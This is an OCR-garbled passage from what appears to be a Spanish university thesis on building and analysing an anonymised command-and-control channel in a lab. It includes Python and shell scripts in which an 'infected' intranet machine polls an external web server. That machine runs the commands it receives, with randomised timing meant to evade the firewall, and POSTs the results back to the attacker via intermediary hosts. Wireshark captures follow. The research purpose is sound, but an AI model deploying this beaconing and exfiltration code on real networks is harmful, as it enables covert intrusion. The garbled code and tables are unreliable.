Name : dl.rtmalvado.edu
Address: 192.168.2.15

Figura 3.31: Peticion de resolucion DNS sobre la direccién d1.rtmalvado.edu.
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/home/usuario/Escritorio
http .rtmalvado.edu:81

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://ww .w3.org/TR/xhtml1/DTD/xht
mll-transitional.dtd">
<html xmlns="http://ww .w3.0rg/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8"
<title>SERVIDOR INTERMEDIO</title>
<style type="text/css" media="screen">
* {
margin: Opx Opx @px Opx;
padding: @px @px @px @px;

s

body, html {
padding: 3px 3px 3px 3px;

background-color: #D8DBE2;

font-family: Verdana, sans-serif;
font-size: 11pt;
text-align: center;

Figura 3.32: Peticion CURL hacia méquina intermedia d1.rtmalvado.edu que se resuelve con
respuesta desde el servidor web de la maquina d3.rtmalvado.edu.

3.6. Elaboraciéon de comunicacién automatica entre maquinas.

Con la comunicacion entre la maquina Kali (kali-29) y el servidor web (inter-07) prepara-
da, ahora es necesario elaborar scripts en ambos sistemas para lograr la emisién de comandos y
recepcion de resultado de los mismos a la maquina infectada en la intranet intra-00 de forma
automatica.

En cada méquina se elaborara uno o varios diferentes mediante los lenguajes Python o Shell.

A continuacion se estudiard como se ha ido implementando cada uno de ellos en cada méaquina
incluyendo los pasos detallados que seguirda cada script, el c6digo en plano y un diagrama de
funcionamiento de cada méquina. [

3.6.1. MaAquina Kali atacante (kali-29)

Como se ha indicado en apartados anteriores, la idea es que desde la maquina atacante Kali se
envien comandos hacia una méquina en la intranet que los ejecutara localmente. Y de la misma
forma, la méquina Kali debe recibir el contenido de la ejecucion en dicha méquina.

Para simular esta situaciéon con el laboratorio desplegado, se elaborard un script con Python
en kali-29 que recibird un niimero por pardmetro. Este ntimero se enviari por las méAquinas
intermedias hacia el servidor web alojado en la ultima de ellas.

Mas detalladamente, en el script se seguiran las siguientes fases:

3En el altimo de los Anexos (Apartado [6.3)) se adjunta el diagrama completo de funcionamiento de cada uno
de los scripts en cada maquina.
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. Se lanza una peticion POST hacia la primera de las maquinas intermedias inter-06 (nom-

bre de dominio d2.rtmalvado.edu) por el puerto 81 (como se indico en el Apartado,
que incluird una variable llamada envio que almacenara el nimero de comando indica-
do como parametro en la ejecucién del script. Dicho ntimero llegard a inter-07 que lo
almacenara en su servidor web.

. Se entra en un bucle en el que kali-29 esta a la espera de que la maquina en la intranet,

intra-00, responda a inter-07 con el resultado de la ejecucién del comando enviado.
Se lee una vez tras otra el error.log del servidor web alojado en la maquina, por donde
se ha configurado que se recibird como parametro el contenido de la ejecucion indicada.

. En el momento en que se detecta que el fichero error.log tiene nuevas lineas, se recoge el

contenido de la variable recibida por POST llamada resultado y se copia a un archivo en
local llamado post-resultado.txt.

. Se parsea el contenido de la variable resultado almacenado en la tltima linea del fichero

post-resultado.txt, y ya limpia, se copia al fichero post-resultado-limpio.txt.

Cédigo

Listing 3.1: obtener.py

params = {'envio':sys.argv[1]}

resp = requests.post('http://d2.rtmalvado.edu:81', data = params)
lineas_def = 999999999

flag = 0
print ("Esperando respuesta...")
while(flag == 0):
lineas = int(subprocess.check_output("cat /var/log/apache2/

error.log | wc -1", shell=True).decode('UTF-8"'))
if (lineas > lineas_def):
flag = 1
os.system("awk '{if(/resultado=/) print substr($15,
11)}' /var/log/apache2/error.log >> /home/

usuario/Escritorio/post-resultado.txt

with open('/home/usuario/Escritorio/post-resultado.
txt', 'r') as f:

last_line = f.readlines() [-1]

linea_parseada = urllib.parse.unquote(urllib.parse.
unquote (last_line))

with open('/home/usuario/Escritorio/post-resultado -
limpio.txt', 'a') as £2:

f2.write(linea_parseada)

lineas_def = lineas
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= Diagrama

kali-29.kali.infor.uva.es

| POST <envio>
E:J____ PY

obtenerpy <envio int>

A4

COPIA LINEA CON )

— resultado

.
>

E;l _____ POSY <respuesta> p.

errorlog post- resultado txt

| | [PARSEO DE LINEAS]

post- resultado-llmpm txt

. ’/

Figura 3.33: Diagrama de funcionamiento del fichero obtener.py en la maquina kali-01.

3.6.2. Maquina Ubuntu Server intermedia (inter-07)

La maquina intermedia inter-07, es la encargada de recibir el ntiimero de comando solicitado
por la maquina Kali kali-29 y proyectarlo en el servidor web, al que posteriormente accedera
la méquina infectada intra-00.

Cuando intra-00 ejecute el comando, inter-07 es también la encargada de hacer llegar el mismo
a la méquina kali-29 paséndolo a través de los intermediarios.

Para lograr todo este proceso de forma satisfactoria se siguen los siguientes pasos:

1. Cada minuto se ejecuta un script Shell llamado ejecuta-script.sh, en el que se rellena un
fichero de texto vacio (post-temporal-envio.txt) con el contenido del pardmetro envio,
que se recibird desde la maquina kali-29 tras pasar por varias maquinas intermedias, y
donde se hallara el nimero de comando a ejecutar en la méquina intra-00.

El contenido de dicho pardmetro se podra obtener del fichero error.log del servidor web
desplegado en la maquina gracias al uso de los médulos DumpIOInput y DumpIOOutput
como se indico en el Apartado [3.3-3]

Si no se ha realizado ningtin envio desde intra-00, se esperaré a la siguiente ejecucion.
En caso de que si haya sucedido, el fichero post-temporal-envio.txt se habra rellenado
y se procede al siguiente paso.

2. Se hace una pausa de 15 segundos durante la que se obtiene el contenido del fichero
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post-temporal-envio.txt, que no es més que el niimero enviado por la maquina kali-29.
En el archivo index.php del servidor web, se mostrara dicho ntimero para hacerlo ptblico
a intra-00.

El codigo PHP introducido en el index.php del servidor es el mostrado en la Figura [3.34}

Figura 3.34: C6digo PHP en maquina intermedia para mostrar comando a maquina de la intranet.

3. Una vez pasados los 15 segundos se vacia el fichero post-temporal-envio.txt y se vuelve
a analizar el error.log en busca de la respuesta de la méquina intra-00 con el resultado
de la ejecucién del comando en la misma.

Se recibe el contenido del parametro POST resultado y se copia al fichero post-temporal. txt.
En caso de que no haya habido respuesta, se espera a una futura ejecucion del codigo.

Si, por otra parte, se obtiene contenido en el pardmetro, se ejecuta un script Python llamado
script.py.

4. En el fichero script.py se lee el resultado de la ejecucion del comando en intra-00 (que
esta almacenada en el fichero post-temporal.txt como se ha indicado en el paso anterior),
y se envia hacia la méaquina kali-29 mediante una peticion POST, pasando previamente
por las méquinas intermedias.
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= Codigo

Listing 3.2: ejecuta-script.sh

awk '{if(/envio=/) print substr($15, 7)}' /var/log/apache2/error.
log > /home/usuario/Escritorio/post-temporal-envio.txt

> /var/log/apache2/error.log

resultadoenvio=%$(cat /home/usuario/Escritorio/post-temporal -envio.
txt | we -1)

if [ $resultadoenvio != "0" ]
then
sleep 15
> /home/usuario/Escritorio/post-temporal -envio.txt
awk '{if (/resultado=/) print substr($15, 11)}' /var/log/
apache2/error.log > /home/usuario/Escritorio/post-
temporal . txt
> /var/log/apache2/error.log
resultado=%$(cat /home/usuario/Escritorio/post-temporal.txt

| we -1)
if [ $resultado != "0" ]
then
python3 /var/www/html/script.py
sleep 10
> /home/usuario/Escritorio/post-temporal.txt
fi

Listing 3.3: script.py
import time
import sys
import subprocess
import requests

with open('/home/usuario/Escritorio/post-temporal.txt', 'r') as f:
last_line = f.readlines () [-1]

param = {'resultado':last_line}
requests.post('http://dl.rtmalvado.edu/', data = param)
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Figura 3.35: Diagrama de funcionamiento de la maquina inter-07.
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3.6.3. Maquina Ubuntu infectada en la intranet (intra-00)

La méaquina en la intranet, simplemente, deberia acceder al contenido del servidor web, que
se ha desplegado en inter-07, en el momento oportuno.

Para ello se prepara un programa Python sencillo, el cual se ejecuta cada minuto y en el que
se lanzan varias peticiones al servidor web separadas en un rango que puede variar de 1 a 10
segundos. Con esto se generara aleatoriedad para que estas peticiones pasen desapercibidas por
el firewall.

El orden de funcionamiento del script sera el siguiente:

1. Se lanza una peticion de tipo GET a d3.rtmalvado.edu (servidor web desplegado en
inter-07) en la que el objetivo es obtener el texto ubicado en la etiqueta <span> que,
conviene recordar, es el nimero del comando que debe ejecutarse en la maquina de la
intranet por orden de la maquina Kali (kali-29).

2. Una vez obtenido el contenido de dicha etiqueta, se comprueba si el mismo es un ntmero
superior al 0. Si no es el caso, se vuelve a lanzar una peticion.

3. Si el nimero mostrado en la etiqueta es superior a 0, se recoge y el c6digo Python lo traduci-
r4 a un comando que posteriormente se ejecutara en local mediante la libreria subprocess.

4. El resultado de dicha ejecucién se recoge y se envia como parametro por POST hacia el
servidor web de la méquina intermedia. Hecho esto se dejan de lanzar peticiones hasta el
proximo minuto.

s Cédigo

Listing 3.4: ejecuta-exploit.py

51| while(True):

52 resp = requests.get('https://d3.rtmalvado.edu')

53 bs = BeautifulSoup(resp.text, "html.parser")

54 numero = bs.body.div.div.span.text

55 if numero !'= "O":

56 if "1" in numero

57 comando = 'pwd'

58 elif "2" in numero

59 comando = 'ls -la';

60 elif "3" in numero

61 comando = 'dir'

62 elif "4" in numero

63 comando = 'uname -a'

64 elif "5" in numero

65 comando = 'ps'

66 resultado = subprocess.check_output(comando, shell=
True)

67 params = {'resultado ':resultado}

68 resp = requests.post('https://d3.rtmalvado.edu’,
data = params)

69 break
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time.sleep(random.randint (1,10))

» Diagrama
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Figura 3.36: Diagrama de funcionamiento de la maquina intra-00.
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Capitulo 4

Analisis del trafico

Una vez elaborada la comunicacién cifrada, en el entorno de laboratorio, que permite la ano-
nimizacion de las partes, se puede proceder a analizar la misma para asi comprobar la evolucion
en dicha red desde los distintos elementos que forman parte de ella.

Para este paso se utilizara el capturador de trafico en redes: Wireshark.

Durante todo el proceso de creacion de la red de anonimizacién se ha ido grabando el trafico en
escenarioss concretos con este programa para asi poder analizar la progresion del trabajo. Todos
ellos se presentan a continuacion.

El objetivo de esto no es mas que emular, a pequena escala, el trabajo del firewall que se va a
situar entre la intranet y la red externa. Conforme se han ido anadiendo nuevas funcionalidades
en las maquinas del laboratorio, se va a ir comprobando como es mas indetectable el contenido
que se comparte entre las mismas.

4.1. AnAlisis entre maquinas sin intermediarios

En primer lugar, se retrocede al estado original de las maquinas en el laboratorio. En este
punto tan solo habia desplegado un servidor web Apache en el PC Kali de la red atacante
(kali-29) en el que en el fichero index se relacionaba un nimero con un comando, tal y como

se explica en el Apartado

Hacia este PC se enviaria una peticion POST, por medio de un programa Python, desde el PC
infectado de la intranet (intra-00), indicando el nimero de comando que quisiera ejecutar. El
servidor web en kali-29 traducird este ntimero a un comando que se mostrara publicamente.

intra-00 accederd a la etiqueta concreta del index en el servidor web, obtendra el comando, y
lo ejecutara localmente.

Una vez hecho esto, por medio de otra peticiéon POST, intra-00 enviara a kali-29 el resultado
de la ejecucién del comando.

Todo este proceso, es importante indicar, se estaria realizando por medio del protocolo HTTP,
sin pasar por medio de maquinas intermedias y sin utilizar nombres DNS entre las méquinas.

Partiendo del diagrama mostrado en la Figura[3.28] en el que se muestra el trafico final entre las
maquinas desplegadas en el laboratorio, todo lo relacionado con la red intermedia seria totalmente
intatil para este escenario, quedando el diagrama como se muestra a continuacién en la Figura
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PC Kal
(kali-29.kali.infor.uva.es)

PC Infectado
(intra-00.intra.infor.uva.es)

Figura 4.1: Diagrama de trafico original entre las maquinas sin utilizar intermediarios.

Se analiza el trafico desde el punto de vista de la maquina infectada, cuyo resultado es el

mostrado en la Figura [£.2]

Cabe recordar que la maquina kali-29
intra-00 utiliza la IP 192.168.5.10.

No. Time
1 @.000000000
2 2.801515168
3 9.881588917
4 ©.001668233
5 9.881813148
6 2.802273341
7 9.882274859
8 8.816786934
9 9.816826248
18 @.817906189
11 2.01858156@
12 8.818597654
13 2.831854135
14 2.833811397
15 2.833053368
16 2.833132379
17 2.833189824
18 2.833716087
19 2.833716169
29 2.838138256
21 2.838178745
22 2.839634944
23 2.848381998
24 2.848399632
25 5.249847765
26 5.249879944

Source

192.168 16
192.168 39
192.168 18
192.168 16
192.168 18
192.168 39
192.168 39
192.168 39
192.168 pL:}
192.168 18
192.168 39
192.168 18

.
o
=
i
o
&1
R LI I I T R R RV RV SR R PV R
i
o

PcsCompu_72:5@:81
PcsCompu_72:56:18

Destination
192.
192.
192

192.
192

192.
192

192.
192

192

192.
192

192.
192.
192.
192.
192.
192.
192.
192.
192.
192.
192.
192.
PcsCompu_72:5H
PcsCompu_72:5@:

R R T Y T R R Y

39
1e
39
39
39
1e
1a
1e
39
39
1e
39
39
1a
39
39
39
1e
1a
1e
39
39
1a
39

Protocol

utiliza la IP 192.168.1.39 y, por otra parte, la maquina

Length

Info

524383 » 88 [SYN] Seq=8 Win=64248 Len=8 M55=1460 SACK_PERM=1 TSval=2080748321 TSecr=0 W5=128

80 = 52488 [SYN, ACK] Seq=8 Ack=1 Win=6516@ Len=@ MSS5=1468 SACK_PERM=1 TSval=2944242098 TSecr=2980748321 W5=128
52488 » 88 [ACK] Seg=1 Ack=1 Win=64256 Len=@ TSval=2988748322 TSecr=2944242@98

52488 - 8@ [P5H, ACK] Seq=1 Ack=1 Win=64256 Len=213 T5val=2980740323 TSecr=2944242090 [TCP segment of a reassembled PDU]
POST / HTTP/1.1 (application/x-www-form-urlencoded)

8@ = 52483 [ACK] Seq=1 Ack=214 Win=65824 Len=@ TSval=2044242801 TSecr=29387408323

80 =+ 52488 [ACK] Seg=1 Ack=237 Win=65824 Len=@ TSval=2944242@91 TSecr=298874@323

HTTP/1.1 280 OK (text/html)

52488 + 8@ [ACK] Seq=237 Ack=1274 Win=6336@ Len=0 TSval=2988740338 TSecr=2944242185

52488 > 8@ [FIN, ACK] Seq=237 Ack=1274 Win=64128 Len=8 TSval=2980748339 TSecr=2944242185

80 + 52488 [FIN, ACK] 5eq=1274 Ack=238 Win=65824 Len=0 TSval=2944242107 TSecr=2980748339

52488 » 88 [ACK] Seq=238 Ack=1275 Win=64128 Len=@ TSval=295@8740348 TSecr=2944242187

52490 = 8@ [SYN] Seq=0 Win=64248 Len=8 M55=1460 SACK PERM=1 TSval=29808742353 TSecr=0 W5=128

80 = 52498 [SYN, ACK] Seq=8@ Ack=1 Win=6516@ Len=@ MSS5=1468 SACK_PERM=1 TSval=2944244122 TSecr=2988742353 W5=128
52490 » 88 [ACK] Seq=1 Ack=1 Win=64256 Len=@ TSval=20808742354 TSecr=2044244122

52498 - 88 [PSH, ACK] Seq=1 Ack=1 Win=64256 Len=213 TSval=2988742354 TSecr=2944244122 [TCP segment of a reassembled PDU]
POST / HTTP/1.1 (application/x-www-form-urlencoded)

80 = 52498 [ACK] Seg=1 Ack=214 Win=65824 Len=@ TSval=2944244122 TSecr=2930742354

88 »+ 52498 [ACK] Seg=1 Ack=385 Win=65824 Len=8 TSval=2944244123 TSecr=2938742354

HTTP/1.1 280 OK (text/html)

52490 » 38 [ACK] Seq=385 Ack=1297 Win=6336@ Len=@ TSval=298@742359 TSecr=2944244127

52490 » 8@ [FIN, ACK] Seq=305 Ack=1297 Win=64128 Len=8 TSval=2080742361 TSecr=2044244127

80 = 52498 [FIN, ACK] Seq=1297 Ack=386 Win=65824 Len=8 TSval=2944244129 TSecr=2988742361

52490 » 88 [ACK] Seq=386 Ack=1298 Win=64128 Len=0 TSval=2988742361 TSecr=2944244129

6@ Who has 192.168.5.18? Tell 192.168.5.1

42

192.168.5.18 is at 83:80:27:72:58:18

Figura 4.2: Captura de trafico en la maquina intra-00 en un escenario de comunicacion insegura

(1)

En la captura del trafico se pueden observar 24 paquetes durante la comunicacién grabada,
que se pueden separar en dos claras partes.

4.1.1. Comunicacién para traducir nimero por comando.

En primer lugar, desde el paquete 1 hasta el 12, se puede observar el trafico que se sucede al
realizar la maquina kali-29 la peticion POST a la méquina intra-00, que contiene el ntimero

de comando que quiere ejecutar (Figura
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No. Time Source Destination Protocol  Length Info

1 eaemm "1192.168.5.18 192.168.1.39 TCP 74 52488 -+ 8@ [SYN] Seq=0 Win=64240 Len=8 MS55=1460 SACK_PERM=1 TSval=2988748321 TSecr=8 WS=128

2 8.801515168 192.168.1.39 192.168.5.18 TCP 74 8@ + 52488 [SYN, ACK] Seq=8 Ack=1 Win=6516@ Len=8 MS5=1460 SACK_PERM=1 TSval=2944242890 TSecr=2980748321 W5=128
3 2.001580917 192.168.5.1@ 192.168.1.39 TCP 66 52488 -+ 8@ [ACK] Seq=1 Ack=1 Win=64256 Len=0 TSval=2980740322 TSecr=2944242099

4 ©.001668233 192.168.5.1@ 192.168.1.39 TCP 279 52488 - 8@ [PSH, ACK] Seq=1 Ack=1 Win=64256 Len=213 TSval-2980740323 TSecr=2944242099 [TCP segment of a reassembled PDU]
5 @.901513148 192.168.5.10 192.168.1.39 HTTP 89 POST / HTTP/1.1 (application/x-www-form-urlencoded)

6 9.002273841 192.168.1.39 192.168.5.18 TCP 66 8@ + 52488 [ACK] Seq=1 Ack=214 Win=65824 Len=0 TSval-=2944242091 TSecr=2980740323

7 ©.002274059 192.168.1.39 192.168.5.1@ TCP 66 3@ + 52488 [ACK] Seq=1 Ack=237 Win=65824 Len=0 TSval=2944242091 TSecr=2938740323

8 ©.016786984 192.168.1.39 192.168.5.10 HTTP 1339 HTTP/1.1 200 OK (text/html)

9 B.916826248  192.168.5.18 192.168.1.39 TCcp 66 52488 + 88 [ACK] Seq=237 Ack=1274 Win=63360 Len=@ TSval=2080748338 TSecr=2044242105

16 8.817906189 192.168.5.18 192.168.1.39 TCcp 66 52488 + 8@ [FIN, ACK] Seq=237 Ack=1274 Win=64128 Len=@ TSval=298@748339 TSecr=2944242105

11 8.9185815680  192.168.1.39 192.168.5.18 TCcp 66 88 + 52488 [FIN, ACK] Seq=1274 Ack=238 Win=565824 Len=@ TSval=2944242187 TSecr=293@748339

12 8.818597654  192.168.5.18 192.168.1.39 TCcp 66 52488 » 88 [ACK] Seq=238 Ack=1275 Win=64128 Len=8 TSval=29308748348 TSecr=2944242167

Figura 4.3: Captura de trafico en la maquina intra-00 en un escenario de comunicacion insegura

2).

Concretamente, interesan las tramas 5 y 8, el resto son simples paquetes de aceptacion de la
comunicacion y de sincronizacién entre las partes.

En la primera se realiza una peticion POST desde intra-00 que, en ese momento, era la encar-
) )

gada de solicitar comandos a la maquina kali-29. Asi, uno de los parametros (“contenido”) de

dicha peticion, seréa el niimero del comando a ejecutar.

El paso de los dos parametros (el segundo es “resultado”, que para esta primera parte esta vacio)
se puede observar, sin ningtn tipo de cifrado, en el desglose del paquete capturado (Figura (4.4
apartado HTML Form URL Encoded: application/x-www-form-urlencoded)

Frame 5: 89 bytes on wire (712 bits), 89 bytes captured (712 bits) on interface ens13, id @
Ethernet II, Src: PcsCompu_72:58:1@ (68:80:27:72:58:18), Dst: PcsCompu_72:58:81 (88:80:27:72:58:01)
Internet Protocol Version 4, Src: 192.168.5.18, Dst: 192.168.1.39
Transmission Control Protocol, Src Port: 52488, Dst Port: 8@, Seq: 214, Ack: 1, Len: 23
[2 Reassembled TCP Segments (236 bytes): #4(213), #5(23)]
Hypertext Transfer Protocol
¥ HTML Form URL Encoded: application/x-www-form-urlencoded
Form item: "contenido” = "3"
Form item: "resultado” = "@"

Figura 4.4: Captura de trafico en la maquina intra-00 en un escenario de comunicacion insegura

(3)-

En el octavo paquete, la maquina kali-29 recoge el comando perteneciente al nimero recibido
desde intra-00, e indica que ha sido obtenido a través de la peticion POST anterior.
A partir de este momento, se actualiza el contenido del servidor web para mostrar publicamente
el comando asignado al nimero obtenido.

Al desplegar los campos de la trama, en Line-based text data: text/html (201 lines), se
puede observar el contenido HTML del servidor web de la maquina Kali.

Concretamente, si se accede a la etiqueta body se puede comprobar como contiene una “subeti-
queta” span en la que se muestra el comando a ejecutar, que en este caso se trata del comando

dir (Figura[L5):
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<body>\n
<div class="main_page">\n
<div class="page_header floating element">\n
¢<span class="floating_element">\n

“tdir</spanz\n
</divi\n
<div class="content_section floating_element">\n
<pr'@'</p> </div>\n
<fdivsin
<div class="validater":\n
<fdivz\n
</body>\n

Figura 4.5: Captura de trafico en la maquina intra-00 en un escenario de comunicacion insegura

(4)-

4.1.2. Comunicacién para enviar el resultado de la ejecucién del comando.

Entre los paquetes, desde el 12 al 24, tiene lugar la comunicacién en la que la maquina kali-29
recoge el resultado de la ejecucion del comando solicitado por la méquina intra-00 y ejecutado

en la misma (Figura [4.6)):

13: 2.831854135 192.168.5.18 192.168.1.39 TCP 74 52498 + 88 [SYN] Seq=@ Win=64248 Len=@ MSS=146@ SACK_PERM=1 TSval=298@8742353 TSecr=@ WS=128

14 2.833011397 192.168.1.39 192.168.5.18 TCP 74 88 » 52498 [SYN, ACK] Seq=0 Ack=1 Win=65168 Len=0 MS5=1468 SACK_PERM=1 TSval=2044244122 TSecr=2988742353 W5=128
15 2.833853368 192.168.5.10 192.168.1.39 TCP 66 52490 + 80 [ACK] Seq=1 Ack=1 Win=64256 Len=@ TSval=29808742354 TSecr=2944244122

16 2.833132379 192.168.5.10 192.168.1.39 TCP 279 52490 + 88 [PSH, ACK] Seq=1 Ack=1 Win=64256 Len=213 TSwal=29808742354 TSecr=2944244122 [TCP segment of a reassembled PDU]
17 2.83318%024  192.168.5.10@ 192.168.1.39 HTTP 157 POST / HTTP/1.1 (application/x-www-form-urlencoded)

18 2.833716887 192.168.1.39 192.168.5.18 TCP 66 8@ + 52498 [ACK] Seq=1 Ack=214 Win=65824 Len=8 TSval=2944244122 TSecr=2988742354

19 2.833716169 192.168.1.39 192.168.5.18 TCP 66 88 » 52498 [ACK] Seq=1 Ack=385 Win=65024 Len=8@ TSval=2944244123 TSecr=2988742354

2@ 2.838138256 192.168.1.39 192.168.5.18 HTTP 1362 HTTP/1.1 208 OK (text/html)

21 2.838178745 192.168.5.10 192.168.1.39 TCP 66 52490 + 38 [ACK] Seq=385 Ack=1297 Win=6336@ Len=0 TSval=2988742350 TSecr=2044244127

22 2.839634944 192.168.5.18 192.168.1.39 TCP 66 52498 + 88 [FIN, ACK] Seq=385 Ack=1297 Win=64128 Len=8 TSval=2980742361 TSecr=2944244127

23 2.848381998 192.168.1.39 192.168.5.18 TCP 66 88 » 52498 [FIN, ACK] Seq=1297 Ack=386 Win=65824 Len=0 TSval=2044244129 TSecr=2988742361

24 2.848399632 192.168.5.1@ 192.168.1.39 TCP 66 52490 =+ 80 [ACK] Seq=306 Ack=1298 Win=64128 Len=0 TSval=2988742361 TSecr=2044244129

Figura 4.6: Captura de trafico en la maquina intra-00 en un escenario de comunicacion insegura

(5)-

Al igual que sucedia en el Apartado anterior (Apartado |4.1.1]), las tramas que interesan son
realmente dos: la 17 y la 20.

En la primera, intra-00 realiza una peticion POST hacia kali-29 enviando el resultado de la
ejecucion del comando que ha obtenido al consultar la etiqueta span del servidor web.
Actualiza el parametro “resultado” de la peticion POST por el texto devuelto de la ejecucion
del comando. En la Figura [1.7 se puede observar como aparece dicho contenido en el pardmetro
POST al desglosar el paquete:

Frame 17: 157 bytes on wire (1256 bits), 157 bytes captured (1256 bits) on interface ens18, id @
Ethernet II, Src: PcsCompu_72:5@:1@ (@2:80:27:72:58:18), Dst: PcsCompu_72:50:01 (85:80:27:72:58:01)
Internet Protocol Version 4, Src: 192.168.5.18, Dst: 192.168.1.39
Transmission Centrol Protoceol, Src Port: 52498, Dst Port: 88, Seq: 214, Ack: 1, Len: 91
[2 Reassembled TCP Segments (384 bytes): #16(213), #17(91)]
Hypertext Transfer Protocol
¥ HTML Form URL Encoded: application/x-www-form-urlencoded
Form item: "contenido™ = "3"
Form item: "resultado™ = "exploit.py exploit.py.save exploit.py.save.l exploit.py.save.2

Figura 4.7: Captura de trafico en la maquina intra-00 en un escenario de comunicacioén insegura

(6)-
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En el paquete 20, la maquina Kali indica que ha recibido los pardmetros actualizados y muestra
su contenido en el servidor web (Figura [4.8]):

<body>\n
<div class="main_page”>\n
<div class="page_header floating_element™:>\n
<span class="floating_element™>\n
\tdir</spanz\n
<fdivzin
<div class="content_sectiocn floating_element”:>\n
<p>'exploit.py exploit.py.save exploit.py.save.l\texploit.py.save.2\n
“<fpr </divii\n
</divrin
<div class="validator">\n
</divin
</body>\n

Figura 4.8: Captura de tréafico en la maquina intra-00 en un escenario de comunicacion insegura

(7).

4.1.3. Conclusiones

Queda claro, tras lo expuesto anteriormente, que este método de comunicaciéon es absoluta-
mente inseguro.

En primer lugar, el dispositivo que se sitie en medio de la comunicacién, podria adivinar, sin
problema ninguno, a qué maquina pertenece la direccién destino, con la que la méquina victima
mantiene un largo intercambio de tramas, pues dicho intercambio se realiza completamente en
claro.

Por otra parte, como se ha visto, la informaciéon que se transmite de un punto a otro, pasa com-
pletamente descifrada, pues se usa el protocolo HI'TP. Esto supone una enorme vulnerabilidad
sobre los paquetes POST en donde el contenido de los pardmetros es crucial para conocer el
objetivo de la comunicacion.

4.2. Analisis entre maquinas con un intermediario

El siguiente paso para anonimizar la comunicacién consistira en tratar de ocultar el destino
de los paquetes dirigidos desde la maquina intra-00.

Para ello, como ya se ha visto en el desarrollo de la prueba en el Apartado se va a co-
locar una méquina en medio de la comunicacién, hacia la que se simule que van los paquetes
(inter-07).

En dicha maquina se desplegara un servidor web como el que habia en kali-29. Asi se fingira
que este es el receptor de la comunicacién, aunque en realidad desde esta méaquina se redirigira
absolutamente toda la comunicacién a kali-29.

Por lo tanto, el diagrama de la comunicacién, en este momento, habria evolucionado y seria como

el mostrado en la Figura
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PC Kali
(kali-29.kali.infor.uva.es)

PC Infectado
(intra-00.intra.infor.uva.es)

Figura 4.9: Diagrama de trafico entre las méquinas utilizando un solo intermediario.

Para analizar el contenido de esta comunicaciéon se tomara la perspectiva de la méquina
intermedia, desde la cual se gestionara el traspaso de tramas desde una méquina a otra.
Esto significa que creceran las tramas, como es logico. En la Figura [£.10] se puede observar como
se pasa de 24 paquetes a 44. El método es el mismo que el descrito en el anterior punto, por lo

que no se incidira demasiado en él:

No. Time

©.006000000
.000159642
©.006933219
©.000933588
8.091115812
.001845364.
©.001857309
©.002392590
9.003452401
10 6.003542520
11 6.003689142
12 9.004159417
13 8.011319671
14 8.011333976
15 6.011429464
16 ©.012042169
17 8.013225581
18 8.613330531
19 6.013938704
20 ©.013961826
21 8.014062388
L 22 6.014507804

23 2.028488605
24 2.028540711
25 2.029236162
26 2.629236371
27 2.029302990
28 2.029776474
29 2,029788975
30 2.638160696
31 2.030932262
32 2.031010590
33 2.031101528
34 2.031676666
35 2.033984997
36 2.034002649
37 2.034086115
38 2.634763517
39 2.036219409
49 2.036275589
41 2.036820695
42 2.036859470
43 2.036919378
44 2.037436612
45 5.121372802
46 5.121420212

Source

192,

192

193,
192,
192,

192

1932,
192,
192,

192

193,
192,
192,

192

192,
192,
192,

192

193,
192,
192,

192

1932,
192,
192,

192

193,
192,
192,

192

192,
192,
192,

192

193,
192,
192,

192

1932,
192,
192,

192

192.
192.
PcsCompu_72:

168,

168.2.

168

168.
168.
168.
168.
168,
168,
168.

168

168.
168.
168.
168.
168,
168,
168.

168

168.
168.
168.
168.
168,
168,
168.

168

168.
168,
168.
168.
168,
168,
168.

168

168.
168.
168.
168.
168,
168,
168.

168

168.

1.39
1.39
217
217
2.1
2.1
217
1.39
2.17
2.17
2:1
2.1
2.17
2.1
2.1
2.17
21
2.17
217
1.39
2.17
2.17
1.39
1.39
2.17
2.17
2:1
2.1
2.17
1.39
2.17
2.17
21

PcsCompu_72

a1
20:17

Destination
192.168.2.17
192.168.2.1
192.168.2.17
192.168.2.17
192.168.2.1
192.168.2.17
192.168.2.1
192.168.1.39
192.168.2.17
192.168.1.39
192.168.1.39
192.168.2.17
192.168.2.17
192.168.1.39
192.168.2.1
192.168.2.17
192.168.2.17
192.168.1.39
192.168.2.17
192.168.1.39
192.168.2.1
192.168.2.17
192.168.2.17
192.168.2.1
192.168.2.17
192.168.2.17
192.168.2.1
192.168.2.17
192.168.2.1
192.168.1.39
192.168.2.17
192.168.1.39
192.168.1.39
192.168.2.17
192.168.2.17
192.168.1.39
192.168.2.1
192.168.2.17
192.168.2.17
192.168.1.39
192.168.2.17
192.168.1.39
192.168.2.1
192.168.2.17
PcsCompu_72:20:17
PcsCompu_72:20:61

Protocol

Length

~

3

®

66
283
66

157

@
&

Info

35936 + 88 [SYN] Seq-@ Win-64248 Len- MSS-1468 SACK PERM-1 TSval-1759767458 TSecr-8 WS-128

88 > 35936 [SYN, ACK] Seq=8 Ack=1 Win=65168 Len=B MS5=1468 SACK PERM=1 TSval-1485423658 TSecr=1759767458 WS=128
35936 » 88 [ACK] Seq=l Ack=1 Win=64256 Len=b TSval=1759767459 TSecr=1485423658

35936 > 80 [PSH, ACK] Seq=1 Ack=1 Win=64256 Len=217 TSval=1759767459 TSecr=1485423658 [TCP segment of a reassembled PDU]
88 + 35936 [ACK] Seq-1 Ack-218 Win-65024 Len-8 TSval-1485423659 TSecr-1759767459

POST / HTTP/1.1 (application/x-www-form-urlencoded)

80 > 35836 [ACK] Seq=1 Ack=241 Win=65624 Len=6 TSval=1485433660 TSecr=1759767459

56466 > 80 [SYN] Seq=@ Win=6424¢ Len=e MS5S=1460 SACK PERM=1 TSval=1318635595 TSecr=0 Ws=128

88 + 56466 [SYN, ACK] Seq-8 Ack-1 Win-6516@ Len-@ MSS-1468 SACK_PERM-1 TSval-2944886@61 TSecr-1318835595 WS-128
56466 > 88 [ACK] Seq=1 Ack=1 Win=64256 Len=B TSval=1318835596 TSecr=2944886861

POST / HTTP/1.1 (application/x-www-form-urlencoded)

80 > 56466 [ACK] Seq=1 Ack=241 Win=65024 Len=e T5val-2944886061 TSecr=1318635597

HTTP/1.1 20 OK (text/html)

56466 > 88 [ACK] Seq=241 Ack=1274 Win=64128 Len=B TSval=1318035684 TSecr=2944886068

HTTP/1.1 200 OK (text/html)

35936 > 80 [ACK] Seq=241 Ack=1274 Win=63360 Len=e T5val-1759767470 TSecr=1405423669

35936 + 88 [FIN, ACK] Seq-241 Ack-1274 Win-64128 Len-8 TSval-1759767471 TSecr-1405423669

56466 > 88 [FIN, ACK] Seq=241 Ack=1274 Win=64128 Len=8 TSval=1318835686 TSecr=2944886068

